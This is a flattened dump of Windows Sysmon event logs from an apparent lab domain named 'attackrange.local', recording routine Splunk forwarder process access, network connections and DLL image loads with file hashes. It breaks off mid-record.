15:00:20.201{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.201{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:20.202{7BD73061-7304-613B-6C0B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.944{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7E8283034D4938314BA5269B0ADC5EBC,SHA256=A65BAB8781E07AD46CA1E2C7526423B6733384A55EEF6E678F7B289484DE6D16,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016697Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:20.335{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50310-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016696Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:21.122{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=97B124750872ED52D0EF647107165A3B,SHA256=10D982407D26E9493D8D9C5952A1A8EF1D17DD01073303CC8ECB0A8ADC6691F3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.818{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6ADC61848FA7FD34E012C95C99501DCF,SHA256=D25B2A68BFA523EAFD7784F01655537D883D2338321AB5EAF2307A3B6DA52556,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.734{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.734{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.734{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.734{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.718{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.718{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.703{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.703{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.703{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.703{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.703{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.703{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000052318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000052299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:21.687{7BD73061-7305-613B-6E0B-00000000F001}6868C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft 